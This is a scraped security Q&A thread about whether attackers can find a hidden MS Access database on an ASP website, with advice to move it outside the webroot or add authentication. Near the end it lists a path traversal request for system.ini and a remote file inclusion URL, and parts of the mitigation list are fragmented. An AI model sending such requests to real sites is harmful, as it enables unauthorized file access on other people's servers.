Let's say I have a website which is written in ASP and I keep my .mdb
database in a random directory like /asd8asd/dkdgk32/asdmv/askdasd/kasldk.mdb
Can an attacker find database's location without guessing/brute forcing?
Information Security Stack Exchange is a question and answer site for information security professionals. It only takes a minute to sign up.
Sign up to join this communityLet's say I have a website which is written in ASP and I keep my .mdb
database in a random directory like /asd8asd/dkdgk32/asdmv/askdasd/kasldk.mdb
Can an attacker find database's location without guessing/brute forcing?
So assuming here that the database is only intended to be accessible by the ASP code and not clients of the web application a better alternative to keeping the database in a "random" directory under the web root, would be to keep the database outside of the webroot altogether. That way it would not be possible for an attacker to directly address the database via the website (without another security issue allowing them to).
If you're intending website clients to directly download or access the MDB file, hiding the database may not be a very robust control. An attacker may be able to find the location by watching the traffic of other clients or by finding a reference to it in other parts of the site.
A more robust alternative here would be to restrict access to the database to authenticated users only. Even if you've not got a full membership system set-up for your site, you could use something like HTTP digest authentication to restrict user access. On its own that's not a perfect solution, but it's bettern than relying solely on an attacker not finding a URL.
Here a list of mitigation actions you can perform to avoid disclosing the database's path:
Internet Information Services & Server
ASP
GET http://www.vunerablesite.com/show.asp?view=../../../../../Windows/system.ini HTTP/1.1
www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml
MS Access